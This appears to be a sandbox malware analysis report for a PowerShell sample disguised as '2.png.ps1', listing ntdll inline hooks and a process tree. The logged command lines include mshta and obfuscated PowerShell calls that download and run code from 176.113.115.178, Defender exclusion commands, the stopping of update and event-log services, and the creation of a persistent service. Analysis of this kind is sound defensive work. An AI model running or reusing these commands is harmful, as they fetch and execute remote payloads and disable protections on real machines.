Dec 18, 2024 14:07:56.171019077 CET	1236	IN	Data Raw: c3 9a d0 1c 05 a1 eb b0 44 56 68 49 8f 11 3a ca 32 a9 db cd b6 40 d0 b0 c0 10 f6 40 27 20 ec f2 99 94 2c 0d 1d ff 4a eb e8 9e 2e 30 53 df 39 34 99 46 1a 89 0d af 25 52 72 97 74 ba e0 c3 38 9c 8d 1a a2 1f c6 88 34 70 4c 1c 63 42 3c b2 6a 02 19 62 Data Ascii: DVhI:2@@' ,J.0S94F%Rrt84pLcB<jbC)ABeQMGHYoB4TIO<'pL`9tDvbrAs$UmVpR=HFz iK]5HS(PDx$EQP,(E9t&C4yD
Dec 18, 2024 14:07:56.171031952 CET	1236	IN	Data Raw: 51 08 c4 00 6a 50 12 0c ed 1b f3 50 c6 d6 40 c4 fd c8 03 19 21 38 a8 62 88 54 20 bc 30 9e e9 68 9b 19 1f 0c b9 08 e8 55 7a a8 0a bd 49 2a 88 84 6b 39 83 2e 4b 1f 4a d2 c6 f0 99 18 16 09 09 97 e8 a3 e7 a4 0a 7a 58 44 99 0f 4b 28 30 22 48 81 c4 96 Data Ascii: QjPP@!8bT 0hUzIk9.KJzXDK(0"H1[]kP!Y1w%fvA#TbZX`^Y(u<DFJ3j#8KVb$"ADW(UIP(YBPR@oYN)}1p!BT4 C)PLFTmP
Dec 18, 2024 14:07:56.171354055 CET	1236	IN	Data Raw: 61 59 79 85 41 b7 03 66 ad 37 2f fe 93 d1 14 52 e0 02 08 2d a4 1b 98 c2 7c 7a 42 6c 6c 94 14 ac be 80 c8 4b 4a 01 85 3d fb 80 35 92 08 0a 02 ad c0 e5 eb 20 b3 e0 66 42 b4 17 44 3b 02 0e 36 c7 95 60 22 9e f2 42 78 89 51 3c 59 e6 c4 b1 69 08 42 a1 Data Ascii: aYyAf7/R-\|zBllKJ=5 fBD;6`"BxQ<YiB\u\|=DxHLOU$!P3,#axi&nwg4gb#L$mb?y$h<DZ0H@#q[4F0KPwIL\|#@8sg3-1
Dec 18, 2024 14:07:56.290361881 CET	1236	IN	Data Raw: 34 92 1b f8 80 29 8d 14 c5 80 48 27 7c d1 6f 13 c6 b3 6a 59 0d b3 0b 85 b0 16 5b a2 8f 35 02 f3 8c 5c 8a 5d 6e 23 b7 b6 b2 47 d1 0e 2a 63 3e b5 b8 64 0f 6e 80 48 30 4c 16 88 a6 42 ca 14 98 4c e8 2d 6e e8 90 ad 6c 2c f8 a0 a1 13 8d 61 6b 9d 0f 4c Data Ascii: 4)H'\|ojY[5\]n#G*c>dnH0LBL-nl,akLAbtG9>DR`fOU\DPE"_j)u0;"9Edx03 &D%AFn1?JhkCQ[6YRR%("Pah%2mM+.I 8YCE?PDGt2AFaHv

Code Manipulations

User Modules

Hook Summary

Function Name	Hook Type	Active in Processes
ZwEnumerateKey	INLINE	explorer.exe, winlogon.exe
NtQuerySystemInformation	INLINE	explorer.exe, winlogon.exe
ZwResumeThread	INLINE	explorer.exe, winlogon.exe
NtDeviceIoControlFile	INLINE	explorer.exe, winlogon.exe
ZwDeviceIoControlFile	INLINE	explorer.exe, winlogon.exe
NtEnumerateKey	INLINE	explorer.exe, winlogon.exe
NtQueryDirectoryFile	INLINE	explorer.exe, winlogon.exe
ZwEnumerateValueKey	INLINE	explorer.exe, winlogon.exe
ZwQuerySystemInformation	INLINE	explorer.exe, winlogon.exe
NtResumeThread	INLINE	explorer.exe, winlogon.exe
RtlGetNativeSystemInformation	INLINE	explorer.exe, winlogon.exe
NtQueryDirectoryFileEx	INLINE	explorer.exe, winlogon.exe
NtEnumerateValueKey	INLINE	explorer.exe, winlogon.exe
ZwQueryDirectoryFileEx	INLINE	explorer.exe, winlogon.exe
ZwQueryDirectoryFile	INLINE	explorer.exe, winlogon.exe

Processes

Process: explorer.exe, Module: ntdll.dll

Function Name	Hook Type	New Data
ZwEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
ZwResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
NtDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
ZwDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
NtEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF
ZwEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
RtlGetNativeSystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
NtEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
ZwQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF

Process: winlogon.exe, Module: ntdll.dll

Function Name	Hook Type	New Data
ZwEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
ZwResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
NtDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
ZwDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
NtEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF
ZwEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
RtlGetNativeSystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
NtEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
ZwQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF

Target ID:	0
Start time:	08:07:24
Start date:	18/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\2.png.ps1"
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	08:07:24
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	08:07:29
Start date:	18/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\CMD.vbs"
Imagebase:	0x7ff632ba0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	08:07:29
Start date:	18/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c mshta http://176.113.115.178/Windows-Update
Imagebase:	0x7ff7362f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	08:07:29
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	08:07:29
Start date:	18/12/2024
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	mshta http://176.113.115.178/Windows-Update
Imagebase:	0x7ff75ae70000
File size:	14'848 bytes
MD5 hash:	0B4340ED812DC82CE636C00FA5C9BEF2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	08:07:33
Start date:	18/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	08:07:33
Start date:	18/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/1.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC\|I`E`X
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	08:07:34
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	08:07:36
Start date:	18/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	08:08:07
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Roaming\LB31.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\LB31.exe"
Imagebase:	0x7ff7ce9f0000
File size:	7'679'488 bytes
MD5 hash:	C9E6AA21979D5FC710F1F2E8226D9DFE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 63%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	08:08:08
Start date:	18/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	08:08:08
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	08:08:10
Start date:	18/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff7362f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	08:08:10
Start date:	18/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop UsoSvc
Imagebase:	0x7ff666550000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	08:08:10
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	08:08:10
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	08:08:11
Start date:	18/12/2024
Path:	C:\Windows\System32\wusa.exe
Wow64 process (32bit):	false
Commandline:	wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff61ea00000
File size:	345'088 bytes
MD5 hash:	FBDA2B8987895780375FE0E6254F6198
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	08:08:11
Start date:	18/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop WaaSMedicSvc
Imagebase:	0x7ff666550000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	08:08:11
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	08:08:11
Start date:	18/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop wuauserv
Imagebase:	0x7ff666550000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	08:08:11
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	08:08:11
Start date:	18/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop bits
Imagebase:	0x7ff666550000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	08:08:11
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	08:08:11
Start date:	18/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop dosvc
Imagebase:	0x7ff666550000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	08:08:11
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	08:08:11
Start date:	18/12/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Imagebase:	0x7ff7e1a10000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	08:08:11
Start date:	18/12/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Imagebase:	0x7ff7e1a10000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	08:08:11
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	08:08:11
Start date:	18/12/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Imagebase:	0x7ff7e1a10000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	08:08:11
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	08:08:11
Start date:	18/12/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Imagebase:	0x7ff7e1a10000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	08:08:11
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	08:08:11
Start date:	18/12/2024
Path:	C:\Windows\System32\dialer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\dialer.exe
Imagebase:	0x7ff769c20000
File size:	39'936 bytes
MD5 hash:	B2626BDCF079C6516FC016AC5646DF93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	38
Start time:	08:08:11
Start date:	18/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe delete "LIB"
Imagebase:	0x7ff666550000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	08:08:11
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	08:08:11
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	08:08:12
Start date:	18/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe create "LIB" binpath= "C:\ProgramData\Mig\Mig.exe" start= "auto"
Imagebase:	0x7ff666550000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	08:08:12
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	08:08:12
Start date:	18/12/2024
Path:	C:\Windows\System32\winlogon.exe
Wow64 process (32bit):	false
Commandline:	winlogon.exe
Imagebase:	0x7ff7f7550000
File size:	906'240 bytes
MD5 hash:	F8B41A1B3E569E7E6F990567F21DCE97
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	44
Start time:	08:08:12
Start date:	18/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop eventlog
Imagebase:	0x7ff666550000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	08:08:12
Start date:	18/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe start "LIB"
Imagebase:	0x7ff666550000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	08:08:12
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	08:08:12
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	08:08:13
Start date:	18/12/2024
Path:	C:\ProgramData\Mig\Mig.exe
Wow64 process (32bit):	false
Commandline:	C:\ProgramData\Mig\Mig.exe
Imagebase:	0x7ff7deae0000
File size:	7'679'488 bytes
MD5 hash:	C9E6AA21979D5FC710F1F2E8226D9DFE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 63%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	08:08:13
Start date:	18/12/2024
Path:	C:\Windows\System32\lsass.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\lsass.exe
Imagebase:	0x7ff7bf4f0000
File size:	59'456 bytes
MD5 hash:	A1CC00332BBF370654EE3DC8CDC8C95A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	50
Start time:	08:08:13
Start date:	18/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	51
Start time:	08:08:14
Start date:	18/12/2024
Path:	C:\Windows\System32\dwm.exe
Wow64 process (32bit):	false
Commandline:	"dwm.exe"
Imagebase:	0x7ff6f73e0000
File size:	94'720 bytes
MD5 hash:	5C27608411832C5B39BA04E33D53536C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	52
Start time:	08:08:17
Start date:	18/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	08:08:17
Start date:	18/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	54
Start time:	08:08:17
Start date:	18/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
